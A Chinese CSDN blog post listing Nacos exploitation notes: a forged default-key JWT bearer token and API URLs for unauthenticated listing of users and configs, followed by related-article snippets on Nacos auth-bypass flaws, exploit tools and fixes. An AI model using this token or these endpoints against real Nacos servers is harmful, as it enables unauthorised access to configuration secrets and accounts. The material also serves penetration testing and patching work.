关于nacos的那些漏洞

最新推荐文章于 2024-10-04 16:29:57 发布
最新推荐文章于 2024-10-04 16:29:57 发布
阅读量312 收藏
点赞数 1
文章标签： java 开发语言
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/tainqiuer123/article/details/140691937
版权

1、使用默认的token

Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6OTk5OTk5OTk5OTl9.-isk56R8NfioHVYmpj4oz92nUteNBCN3HRd0-Hfk76g

 2、nacos的url上的未授权和token

/nacos/v1/auth/users?accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6OTk5OTk5OTk5OTl9.-isk56R8NfioHVYmpj4oz92nUteNBCN3HRd0-Hfk76g&pageNo=1&pageSize=10

/nacos/v1/auth/users?pageNo=1&pageSize=10

/nacos/#/login

/nacos/v1/cs/configs?dataId=&group=&appName=&config_tags=&pageNo=1&pageSize=10&tenant=&search=accurate&accessToken=&username=

AdaTina
关注
nacos权限绕过漏洞(nacos认证绕过安全漏洞)
计算机毕业论文源码，学生个人网页制作html源码。贴近用户做网络推广和互联网优化。
11-02 3518
可以看出在 1.2~1.4.0 的版本期间是存在认证绕过安全漏洞的，是因为 User-Agent 中包含了 Nacos-Server 使得认定请求来自于其他服务端，从而绕过了认证。nacos权限绕过漏洞环境搭建 我们选择版本nacos 1.4.0来对漏洞进行复现 下载安装包后 运行startup.cmd -m standalone 需要在环境变量中设置 JAVA_HOME ，设置完环境变量后重新打开一个命令行 否则并不生效 ，启动的时候最好用管理员权限启动，否则会出现启动不成功的问题
Alibaba Nacos 权限认证绕过漏洞
ggboy的博客
05-30 740
可能泄露敏感信息并被攻击者利用造成威胁；攻击者可能直接利用样例的 漏洞进行攻击；核心数据可能被偷取。nacos官方在github发布的issue中披露Alibaba Nacos 存在一个由于不当处理User-Agent导致的未授权访问漏洞 。通过该漏洞,攻击者可以进行任意操作,包括创建新用户并进行登录后操作。 构造payload后访问抓取数据包，将数据包GET改为POST请求进行添加新用户test 登录test用户，可以查看用户信息，存在垂直越权漏洞 查看isuse问题描述找到官方配置
Nacos漏洞总结复现_nacos默认jwt密钥导致未授权访问
liuhyusb的博客
09-15 987
Nacos中发现影响Nacos <= 2.1.0的问题，Nacos用户使用默认JWT密钥导致未授权访问漏洞。通过该漏洞，攻击者可以绕过用户名密码认证，直接登录Nacos用户。
Nacos权限认证绕过漏洞复现
时乙的博客
03-12 2632
2020年12月29日，Nacos官方在github发布的issue中披露Alibaba Nacos 存在一个由于不当处理User-Agent导致的未授权访问漏洞 。通过该漏洞，攻击者可以进行任意操作，包括创建新用户并进行登录后操作。
nacos身份认证绕过漏洞
最新发布
bmaoHk的博客
10-04 489
nacos是阿里巴巴的一个开源项目，旨在帮助构建云原生应用程序和微服务平台，nacos在默认情况下未对token.secret.key进行修改，导致攻击者可以绕过密钥认证进入后台。也就是nacos的密钥是有默认值的，其鉴权是JWT,我们知道密钥即可伪造一个恶意的JWT令牌来攻击对于jwt加密 其实就是用了base64 密钥是写死在源码里面的 所以直接可以用jwt伪造攻击对应就是数据包的accesstoken。正在学习网络安全的小伙伴，有需要安全资料或者CISP资料的可以关注。”可领取网络安全书籍。
【备忘录】修复docker环境下的nacos安全漏洞：身份认证绕过漏洞
Xcong_Zhu的博客
10-23 2485
在nacos2.2.0.1和1.4.5版本之前的版本中，可能是为了便于开发环境使用，默认开启了一个自带的token默认值，导致上述报告中，可以利用默认的访问秘钥跳过认证，直接登陆。1、检查application.properties文件中token.secret.key属性，若为默认值，可参考：https://nacos.io/zh-cn/docs/v2/guide/user/auth.html进行更改。之后讲登录返回包修改为正确登录信息。点击发送发现正确登录返回信息。同时选中base64加密。
Nacos 默认 secret.key 配置不当权限绕过漏洞复现
qq_27536045的博客
03-22 5059
Nacos 身份认证绕过漏洞(QVD-2023-6271)，开源服务管理平台 Nacos在默认配置下未对 token.secret.key 进行修改，导致远程攻击者可以绕过密钥认证进入后台，造成系统受控等后果。
JDK安装2023最完整教程与配置（零基础）
bdfcfff77fa的博客
06-19 1435
JDK安装2023最完整教程与配置（零基础）
Nacos 漏洞利用
huangyongkang666的博客
01-03 9127
在src挖掘中碰到的漏洞，于是了解了一下该漏洞和漏洞的利用方式
Nacos漏洞综合利用GUI工具（完整源码+说明）（身份认证绕过漏洞、反序列化漏洞的检测及其利用）.zip
03-27
【资源说明】 1、该资源内项目代码都是经过测试运行成功，功能正常的情况下才上传...Nacos漏洞综合利用GUI工具（源码+项目说明）（集成默认口令漏洞、SQL注入漏洞、身份认证绕过漏洞、反序列化漏洞的检测及其利用）.zip
Nacos漏洞综合利用GUI工具（源码+项目说明）（集成默认口令漏洞、SQL注入漏洞、身份认证绕过漏洞的检测）.zip
03-05
【资源说明】 1、该资源包括项目的全部源码，下载可以直接使用！...Nacos漏洞综合利用GUI工具（源码+项目说明）（集成默认口令漏洞、SQL注入漏洞、身份认证绕过漏洞、反序列化漏洞的检测及其利用）.zip
Nacos2.2.2增加鉴权配置，防止NACOS身份登陆绕过漏洞
06-04
Nacos /nɑ:kəʊs/ 是 Dynamic Naming and Configuration Service的首字母简称，一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。 Nacos 致力于帮助您发现、配置和管理微服务。Nacos 提供了一组...
NACOS身份认证绕过漏洞批量检测poc.7z
02-24
然而，如同任何复杂的软件系统，NACOS也可能存在安全漏洞，其中之一就是“身份认证绕过漏洞”。 身份认证绕过漏洞通常指的是攻击者可以通过某种方式规避系统的身份验证机制，直接访问或操作本应受保护的资源。在...
NacosJWT密钥硬编码漏洞，未授权访问
whoami
03-15 2169
Nacos /nɑ:kəʊs/ 是 Dynamic Naming and Configuration Service的首字母简称，一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。Nacos 帮助您更敏捷和容易地构建、交付和管理微服务平台。Nacos 是构建以“服务”为中心的现代应用架构 (例如微服务范式、云原生范式) 的服务基础设施。Nacos 致力于帮助您发现、配置和管理微服务。Nacos 提供了一组简单易用的特性集，帮助您快速实现动态服务发现、服务配置、服务元数据及流量管理。
Nacos 惊爆安全漏洞，可绕过身份验证（附修复建议）
程序猿DD
01-16 1943
作者 |threedr3am来源 |https://github.com/alibaba/nacos/issues/4701我发现nacos最新版本1.4.1对于User-Agent...
Nacos身份认证绕过的方法
weixin_45802999的博客
08-01 386
因为在攻防或渗透的一些安全服务过程中，我们经常会遇到在公网能访问到的Nacos系统，按理来说这些系统都是要收缩到内网里面的，所以遇到这种情况我们肯定是要去尝试下能否进入到后台，之前团队搞过这类的实验，那就结合这次实验分析一下。 在URL路径后加上nacos，nacos登录后台就会暴露出来一、这个实验第一步首先使用第一个方法就是默认口令的尝试，nacos/nacos默认口令去登录，如果运气好的话恭喜你直接登录成功，我的运气只能说时好时坏，没有登录成功。 二、接着使用nacosCreateAccessToke
nacos系列漏洞复现总结
内心不种满鲜花就会长满杂草
09-05 2928
Nacos支持两种启动模式：单机模式和集群模式。
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值